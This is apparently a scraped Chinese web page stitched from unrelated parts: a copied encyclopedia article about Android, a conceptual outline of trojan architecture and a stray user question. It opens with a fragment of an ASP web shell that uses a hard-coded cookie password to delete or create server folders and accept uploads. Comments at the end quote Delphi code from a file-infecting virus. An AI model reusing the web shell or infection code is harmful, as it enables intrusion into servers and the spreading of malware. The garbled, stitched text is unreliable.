if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

oFileSys.DeleteFolder whichdir,True

Response.write "<script>alert('删除的目录为:" whichdir "删除成功!要刷新才能看到效果');window.close();</script>"

else

if request("op")="creat" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

oFileSys.CreateFolder whichdir

Response.write "<script>alert('建立的目录为:" whichdir "建立成功!要刷新才能看到效果');window.close();</script>"

end if

end if

else

response.write "Password Error!"

response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"

end if

%>

</body>

</html>

<%

case "upfile.asp"

if Request.Cookies("password")="7758521" then

set upload=new upload_5xSoft

if upload.form("filepath")="" then

HtmEnd "请输入要上传至的目录!"

set upload=nothing

response.end

else

formPath=upload.form("filepath")

if right(formPath,1)<>"/" then formPath=formPath"/"

end if

iCount=0

for each formName in upload.objForm

set file=upload.file(formName)

if file.FileSize>

我啥我在手机上下载游戏玩的时候说此应用程序没有授权在你的ANDROID设备上使用

拆分词条 android

;ct=17pn=0tn=ikaslistrn=10lm=0fr=search求助编辑百科名片

AndroidAndroid是一种以Linux为基础的开放源码操作系统,主要使用于便携设备。目前尚未有统一中文名称,中国大陆地区较多人使用安卓(非官方)或安致(官方)。Android操作系统最初由Andy Rubin开发,最初主要支持手机。2005年由Google收购注资,并组建开放手机联盟开发改良,逐渐扩展到平板电脑及其他领域上。Android的主要竞争对手是苹果公司的iOS以及RIM的Blackberry OS。2011年第一季度,Android在全球的市场份额首次超过塞班系统,跃居全球第一。 2011年11月数据,Android占据全球智能手机操作系统市场52.5%的份额,中国市场占有率为58%。

中文名: 安卓、安致

外文名: Android

开发商: Google/开放手持设备联盟

发行商: Google

发行时间: 2008年9月23日

编程语言: C/C++(底层) Java等(应用层)

源码模式: 混合(自由免费,开放源码)

包类型: APK

支持平台: ARM、MIPS、x86

内核类: 整块性核心(Linux)

目录

名称来源

内置服务

开放手持设备联盟

版本记录命名规则

发行版本

发展历史

系统架构应用程序(部分)

中介软件

硬件抽像层

内核

安全权限机制

名称来源

内置服务

开放手持设备联盟

版本记录 命名规则

发行版本

发展历史

系统架构 应用程序(部分)

中介软件

硬件抽像层

内核

安全权限机制

展开 编辑本段名称来源

Android一词最早出现于法国作家利尔亚当(Auguste Villiers de l'Isle-Adam)在1886年发表的科幻小说《未来夏娃》(L'ève future)中。他将外表像人的机器起名为Android。

编辑本段内置服务

谷歌移动服务(英文:Google Mobile Service)是谷歌的一项服务,该服务简称“GMS”,指在让用户利用移动电话或其他移动设备使用谷歌搜索、谷歌地图、Gmail、YouTube、Android Market等谷歌服务产品。 谷歌将谷歌移动服务(GMS)内嵌到Android手机系统中,并且对android手机生产商给予不同程度的授权。 GMS是Android操作系统的灵魂,大部分用户使用Android手机,其实就是为了使用谷歌服务。

编辑本段开放手持设备联盟

开放手持设备联盟(Open Handset Alliance)是美国Google公司于2007年11月5日宣布组建的一个全球性的联盟组织。这一联盟将支持Google发布的手机操作系统或者应用软件,共同开发Android系统的开放源代码。开放手持设备联盟包括手机制造商、手机芯片厂商和移动运营商。

编辑本段版本记录

命名规则

Android 用甜点作为它们系统版本的代号的命名方法开始于 Andoird 1.5 发布的时候。作为每个版本代表的甜点的尺寸越变越大,然后按照26个字母数序:纸杯蛋糕,甜甜圈,松饼,冻酸奶,姜饼,蜂巢,冰激凌三明治

发行版本

版本 备注

Android1.1 2008 年9月发布的Android第一版

Android 1.5

Cupcake

(纸杯蛋糕) 2009年4月30日,官方1.5版本(Cupcake 纸杯蛋糕)的Android发布。主要的更新如下:

1、拍摄/播放影片,并支持上传到Youtube

2、支持立体声蓝牙耳机,同时改善自动配对性能

3、最新的采用WebKit技术的浏览器,支持复制/贴上和页面中搜索

4、GPS性能大大提高

5、提供屏幕虚拟键盘

6、主屏幕增加音乐播放器和相框widgets

7、应用程序自动随着手机旋转

8、短信、Gmail、日暦,浏览器的用户接口大幅改进,如Gmail可以批量删除邮件

9、相机启动速度加快,拍摄图片可以直接上传到Picasa

10、来电照片显示

Android 1.6

Donut

(甜甜圈) 2009年9月15日,1.6(Donut 甜甜圈)版本软件开发工具包发布。主要的更新如下:

1、重新设计的Android Market手势

2、支持支持CDMA网络

3、文字转语音系统(Text-to-Speech)

4、快速搜索框

5、全新的拍照接口

6、查看应用程序耗电

7、支持虚拟私人网络(VPN)

8、支持更多的屏幕分辨率。

9、支持OpenCore2媒体引擎

10、新增面向视觉或听觉困难人群的易用性插件

Android2.0/2.0.1/2.1

Eclair

(松饼) 2009年10月26日,2.0(Eclair 松饼)版本软件开发工具包发布。主要的更新如下:

1、优化硬件速度

2、"Car Home"程序

3、支持更多的屏幕分辨率

4、改良的用户界面

5、新的浏览器的用户接口和支持HTML5

6、新的联系人名单

7、更好的白色/黑色背景比率

8、改进Google Maps3.1.2

9、支持Microsoft Exchange

10、支持内置相机闪光灯

11、支持数码变焦

12、改进的虚拟键盘

13、支持蓝牙2.1

14、支持动态桌面的设计

Android 2.2/2.2.1

Froyo

(冻酸奶) 2010年5月20日,2.2(Froyo 冻酸奶)版本软件开发工具包发布。主要的更新如下:

1、整体性能大幅度的提升

2、3G网络共享功能。

3、Flash的支持。

4、App2sd功能。

5、全新的软件商店。

6、更多的Web应用API接口的开发。

Android 2.3

Gingerbread

(姜饼) 2010年12月7日,2.3(Gingerbread 姜饼)版本软件开发工具包发布。主要的更新如下:

1、增加了新的垃圾回收和优化处理事件

2、原生代码可直接存取输入和感应器事件、EGL/OpenGL ES、OpenSL ES。

3、新的管理窗口和生命周期的框架。

4、支持VP8和WebM视频格式,提供AAC和AMR宽频编码,提供了新的音频效果器

5、支持前置摄像头、SIP/VOIP和NFC(近场通讯)

6、简化界面、速度提升:

7、更快更直观的文字输入:

8、一键文字选择和复制/粘帖:

9、改进的电源管理系统:

10、新的应用管理方式:

Android 3.0

Honeycomb

(蜂巢) 2011年2月2日, 3.0(Honeycomb 蜂巢)版本主要更新如下:

·优化针对平板

·全新设计的UI增强网页浏览功能

·n-app purchases功能

Android 3.1

Honeycomb

(蜂巢) 2011年5月11日在Google I/O开发者大会宣布发布,版本主要更新如下:

Honeycomb蜂巢(改进3.0BUG)

经过优化的Gmail电子邮箱;

全面支持GoogleMaps

将Android手机系统跟平板系统再次合并从而方便开发者。

任务管理器可滚动,支持USB 输入设备(键盘、鼠标等)。

支持 Google TV.可以支持XBOX 360无线手柄

widget支持的变化,能更加容易的定制屏幕widget插件。

Android 3.2

Honeycomb

(蜂巢) 2011年7月13日发布,版本更新如下:

支持7英寸设备

引入了应用显示缩放功能

Android 4.0

Ice Cream Sandwich

(冰激凌三明治) 2011年10月19日 在香港发布,

4.0(Ice Cream Sandwich 冰激凌三明治)版本主要更新如下:

1、全新的ui

2、全新的Chrome Lite浏览器,有离线阅读,16标签页,隐身浏览模式等。

3、截图功能

4、更强大的图片编辑功能

5、自带照片应用堪比Instagram,可以加滤镜、加相框,进行360度全景拍摄,照片还能根据地点来排序

6、Gmail加入手势、离线搜索功能,UI更强大。

7、新功能People:以联系人照片为核心,界面偏重滑动而非点击,集成了Twitter、Linkedin、Google+等通讯工具。有望支持用户自定义添加第三方服务。

8、新增流量管理工具,可具体查看每个应用产生的流量。

9、正在运行的程序可以像电脑一样的互相切换

10、人脸识别功能

11、系统优化、速度更快

12、支持虚拟按键,手机可以不再拥有任何按键

13、更直观的程序文件夹:

14、平板电脑和智能手机通用

15、支持更大的分辨率

16、专为双核处理器编写的优化驱动

17、全新的18、增强的复制粘贴功能

19、语音功能

20、全新通知栏:

21、更加丰富的数据传输功能

22、更多的感应器支持

23、语音识别的键盘:

24、全新的3D驱动, 游戏支持能力提升

25、全新的谷歌电子市场

26、增强的桌面插件自定义

Android N.n

Jelly Bean

“果冻豆” 继“冰激凌三明治”之后的下一版Android系统。

编辑本段发展历史

2005年事件 Google收购了成立仅22个月的高科技企业Android。 2007年事件 11月5日,Google公司正式向外界展示Android操作系统。 11月5日,Google与34家手机制造商、软件开发商、电信运营商和芯片制造商共同创建开放手持设备联盟。 2008年事件 5月28日,Patrick Brady于Google I/O大会上提出Android HAL架构图。 8月18日,Android获得美国联邦通信委员会的批准。 9月22日,谷歌正式对外发布第一款Android手机——HTC G1。 9月23日,谷歌发布Android1.0。 9月24日,全球业界都表示不看好Android操作系统,并且声称最多1年,Android就会被Google关闭。 2009年事件 4月30日,Android1.5正式发布。 5月10日,HTC G1和HTC G2市场大卖,成为仅次于iPhone的热门机型。 9月25日,Android1.6正式发布。 9月29日,HTC Hero G3广受欢迎,成为全球最受欢迎的机型。 10月28日,Android 2.0 智能手机操作系统正式发布。 11月10日,由于Android的火热,Android平台出现第一个恶意间谍软件:Mobile Spy,该程序会自动记录用户所输入的任何信息并发送到黑客的邮箱中,还可以视频录下用户的所有操作过程。 2010年事件 1月7日,Google发布了旗下第一款自主品牌手机:Nexus one(HTC G5)。 1月,谷歌与Linux基金会就谷歌修改了Linux内核而产生了矛盾。 2月3日,Linux内核开发者Greg Kroah-Hartman将Android的驱动程序从Linux内核“状态树”上除去,从此,Android与Linux开发分道扬镳。 5月19日,Google正式对外发布Android2.2智能操作系统。 5月20日,Google对外正式展示了搭载Android系统的智能电视-Google TV,该电视为全球首台智能电视。 7月1日,Google宣布正式与雅虎、亚马逊合作,并且在Android上推出多项Kindle服务和雅虎服务。 7月9日,美国NDP集团调查显示,Android系统已占据了美国手机市场28%的份额,全球17%的市场份额。 8月12日,Android平台出现第一个木马病毒:Trojan-SMS.AndroidOS.FakePlayer.a,该木马病毒会伪装成应用程序,当用户不小心安装之后,它便会疯狂地发送短信,使用户的手机开通高额的收费服务。 9月,Android应用数量超过9万个。 9月21日,Google对外公布数据,每日销售的Android设备的新用户数达到20万。 10月26日,Google宣布Android达到第一个里程碑:电子市场上的Android应用数量达到10万个。 12月7日,Google正式发布Android2.3操作系统。 2011年事件 1月,Android应用数量超过20万。 1月,Google对外公布数据,每日Android设备的新用户数达到30万。 2月2日,Android3.0正式发布。 6月,Android在日本的智能手机操作系统市场占有率达到57%。 7月,Android在欧洲的智能手机操作系统市场占有率达到了22.3% 7月,Google对外公布数据,Android每天的新用户达到55万,Android设备用户总数达1.35亿。 8月,谷歌收购摩托罗拉移动。 8月2日,Android手机已占据全球智能机市场48%的份额,并在亚太地区市场占据统治地位,终结了Symbian(塞班系统)的霸主地位,跃居全球第一。 8月,Android在韩国的智能手机操作系统市场占有率达到了95%。 8月,Android系统在35个国家市场占有率第一,平均市场占有率达到48%。 8月,Android系统成为亚太地区第一大系统,市场占有率为亚太地区第一大。 9月,数据显示,Android应用数目已经达到48万。 9月,Android在美国的智能手机操作系统市场占有率达到43%。 10月19日,谷歌正式发布Android 4.0操作系统。 11月15日,Android在中国大陆的智能手机操作系统市场占有率达到了58%。 11月18日,美国NPD数据显示,Android和iOS平台上的游戏占有率都首度超过任天堂的DS掌机和索尼的PSP掌机,手机游戏玩家也超过了掌机玩家,游戏开发商更倾向于向Android和iOS手机上开发游戏。 11月18日,谷歌报告显示,通过谷歌服务器激活的Android设备用户总数已经超过2亿,每天通过谷歌服务器激活的新用户数超过55万,而这仅仅是通过谷歌服务器激活的用户设备数。

编辑本段系统架构

Android是以Linux为核心的手机操作平台,作为一款开放式操作系统,随着Android的快速发展,如今已允许开发者使用多种编程语言来开发Android应用程序,而不再是以前只能使用Java开发Android应用程序的单一局面,因而受到众多开发者的欢迎,成为真正意义上的开发式操作系统。 在Android中,开发者可以使用Java作为编程语言来开发应用程序,也可以通过NDK使用C/C++作为编程语言来开发应用程序,也可使用SL4A来使用其他各种脚本语言进行编程(如:python、lua、tcl、php等等),还有其他诸如:Qt(qt for android)、Mono(mono for android)等一些著名编程框架也开始支持Android编程,甚至通过MonoDroid,开发者还可以使用C#作为编程语言来开发应用程序。另外,谷歌还在2009年特别发布了针对初学者的Android Simple语言,该语言类似Basic语言。而在网页编程语言方面,JavaScript,ajax,HTML5,jquery、sencha、dojo、mobl、PhoneGap等等都已经支持Android开发。 而在Android系统底层方面,Android使用C/C++作为开发语言。

应用程序(部分)

Java开发方面 Android支持使用Java作为编程语言来开发应用程序,而Android的Java开发方面从接口到功能,都有层出不穷的变化。考虑到Java虚拟机的效率和资源占用,谷歌重新设计了Android的Java,以便能提高效率和减少资源占用,因而与J2ME等不同。 Android结构

其中Activity等同于J2ME的MIDlet,一个 Activity 类(Class)负责创建视窗(Windows),一个活动中的Activity就是在 foreground(前景)模式,背景运行的程序叫做Service。两者之间通过由ServiceConnection和AIDL连结,达到复数程序同时运行的效果。如果运行中的 Activity 全部画面被其他 Activity 取代时,该 Activity 便被停止(Stopped),甚至被系统清除(Kill)。 View等同于J2ME的Displayable,程序人员可以通过 View 类与“XML layout”档将UI放置在视窗上,Android 1.5的版本可以利用 View 打造出所谓的 Widgets,其实Widget只是View的一种,所以可以使用xml来设计layout,HTC的Android Hero手机即含有大量的widget。至于ViewGroup 是各种layout 的基础抽象类(abstract class),ViewGroup之内还可以有ViewGroup。View的构造函数不需要再Activity中调用,但是Displayable的是必须的,在Activity 中,要通过findViewById()来从XML 中取得View,Android的View类的显示很大程度上是从XML中读取的。View 与事件(event)息息相关,两者之间通过Listener 结合在一起,每一个View都可以注册一个event listener,例如:当View要处理用户触碰(touch)的事件时,就要向Android框架注册View.OnClickListener。另外还有Image等同于J2ME的BitMap。 C/C++开发方面 早期的Android开发只支持Java作为编程语言开发应用程序,因而使得其他语言开发者只能望而却步。2010年4月,谷歌正式对开发者发布了Android NDK,NDK允许开发者使用C/C++作为编程语言来为Android开发应用程序,初版的NDK使得开发者看到了C/C++在Android开发中的希望。 但是,当前版本的NDK在功能上还有很多局限性:NDK并没有提供对应用程序生命周期的维护;NDK也不提供对Android系统中大量系统事件的支持;对于作为应用程序交互接口的UI API,当前版本的NDK中也没有提供。但是相对于初版的NDK,现在的NDK已经进行了许多重大的功能改进。 由此可见,NDK仍然需要完善和发展,相信未来随着NDK的发展,NDK可以做得更多更好。

中介软件

操作系统与应用程序的沟通桥梁,应用分为两层:函数层(Library)和虚拟机(Virtual Machine)。 Bionic是 Android 改良libc的版本。Android 同时包含了Webkit,所谓的Webkit 就是Apple Safari 浏览器背后的引擎。Surface flinger 是就2D或3D的内容显示到屏幕上。Android使用工具链(Toolchain)为Google自制的Bionic Libc。 Android采用OpenCORE作为基础多媒体框架。OpenCORE可分7大块:PVPlayer、PVAuthor、Codec、PacketVideo Multimedia Framework(PVMF)、Operating System Compatibility Library(OSCL)、Common、OpenMAX。 Android 使用skia 为核心图形引擎,搭配OpenGL/ES。skia与Linux Cairo功能相当,但相较于Linux Cairo, skia 功能还只是雏形的。2005年Skia公司被Google收购,2007年初,Skia GL源码被公开,目前Skia 也是Google Chrome 的图形引擎。 Android的多媒体数据库采用SQLite数据库系统。数据库又分为共用数据库及私用数据库。用户可通过ContentResolver类(Column)取得共用数据库。 Android的中间层多以Java 实现,并且采用特殊的Dalvik 虚拟机(Dalvik Virtual Machine)。Dalvik虚拟机是一种“暂存器型态”(Register Based)的Java虚拟机,变量皆存放于暂存器中,虚拟机的指令相对减少。 Dalvik虚拟机可以有多个实例(instance), 每个Android应用程序都用一个自属的Dalvik虚拟机来运行,让系统在运行程序时可达到优化。Dalvik 虚拟机并非运行Java字节码(Bytecode),而是运行一种称为.dex格式的文件。

硬件抽像层

Android 的 HAL(硬件抽像层)是能以封闭源码形式提供硬件驱动模块。HAL 的目的是为了把 Android framework 与 Linux kernel 隔开,让 Android 不至过度依赖 Linux kernel,以达成 kernel independent 的概念,也让 Android framework 的开发能在不考量驱动程序实现的前提下进行发展。 HAL stub 是一种代理人(proxy)的概念,stub 是以 *.so 档的形式存在。Stub 向 HAL“提供”操作函数(operations),并由 Android runtime 向 HAL 取得 stub 的 operations,再 callback 这些操作函数。HAL 里包含了许多的 stub(代理人)。Runtime 只要说明“类型”,即 module ID,就可以取得操作函数。

内核

Android 是运行于 Linux kernel之上,但并不是GNU/Linux。因为在一般GNU/Linux 里支持的功能,Android 大都没有支持,包括Cairo、X11、Alsa、FFmpeg、GTK、Pango及Glibc等都被移除掉了。Android又以bionic 取代Glibc、以Skia 取代Cairo、再以opencore 取代FFmpeg 等等。Android 为了达到商业应用,必须移除被GNU GPL授权证所约束的部份,例如Android将驱动程序移到 userspace,使得Linux driver 与 Linux kernel彻底分开。bionic/libc/kernel/ 并非标准的kernel header files。Android 的 kernel header 是利用工具由 Linux kernel header 所产生的,这样做是为了保留常数、数据结构与宏。 目前Android 的 Linux kernel控制包括安全(Security),存储器管理(Memory Management),程序管理(Process Management),网络堆栈(Network Stack),驱动程序模型(Driver Model)等。下载Android源码之前,先要安装其构建工具 Repo来初始化源码。Repo 是 Android 用来辅助Git工作的一个工具。

安全权限机制

Android本身是一个权限分立的操作系统。在这类操作系统中,每个应用都以唯一的一个系统识别身份运行(Linux用户ID与群组ID)。系统的各部分也分别使用各自独立的识别方式。Linux就是这样将应用与应用,应用与系统隔离开。 系统更多的安全功能通过权限机制提供。权限可以限制某个特定进程的特定操作,也可以限制每个URI权限对特定数据段的访问。 Android安全架构的核心设计思想是,在默认设置下,所有应用都没有权限对其他应用、系统或用户进行较大影响的操作。这其中包括读写用户隐私数据(联系人或电子邮件),读写其他应用文件,访问网络或阻止设备待机等。 安装应用时,在检查程序签名提及的权限,且经过用户确认后,软件包安装器会给予应用权限。从用户角度看,一款Android应用通常会要求如下的权限: 拨打电话、发送短信或彩信、修改/删除SD卡上的内容、读取联系人信息、读取日程信息,写入日程数据、读取电话状态或识别码、精确的(基于GPS)地理位置、模糊的(基于网络获取)地理位置、创建蓝牙连接、对互联网的完全访问、查看网络状态,查看WiFi状态、避免手机待机、修改系统全局设置、读取同步设定、开机自启动、重启其他应用、终止运行中的应用、设定偏好应用、震动控制、拍摄图片等。 一款应用应该根据自身提供的功能,要求合理的权限。用户也可以分析一款应用所需权限,从而简单判定这款应用是否安全。如一款应用是不带广告的单机版,也没有任何附加内容需要下载,那么它要求访问网络的权限就比较可疑。

智能手机操作系统

IOS ▪ Android ▪ Symbian ▪ Windows Mobile ▪ Windows Phone 7

开放分类:

操作系统,google,智能手机,平板电脑,android

“android”在英汉词典中的解释(来源:百度词典):

android

KK: []

DJ: []

a.

1. 有人类特征的

2. (指骨盘)角形窄口的

3. 阳性的,男性的,雄性的

n.

1. (科幻小说中的)机器人

最简单的木马 源代码以及解释

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。

(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。

(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。

评论列表

掩吻榆西
2022-08-22

= Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end

颜于铃予
2022-08-22

.Size 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end;

痴妓葵袖
2022-08-22

联邦通信委员会的批准。 9月22日,谷歌正式对外发布第一款Android手机——HTC G1。 9月23日,谷歌发布Android1.0。 9月24日,全球业界都表示不看好Android操作系统,

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。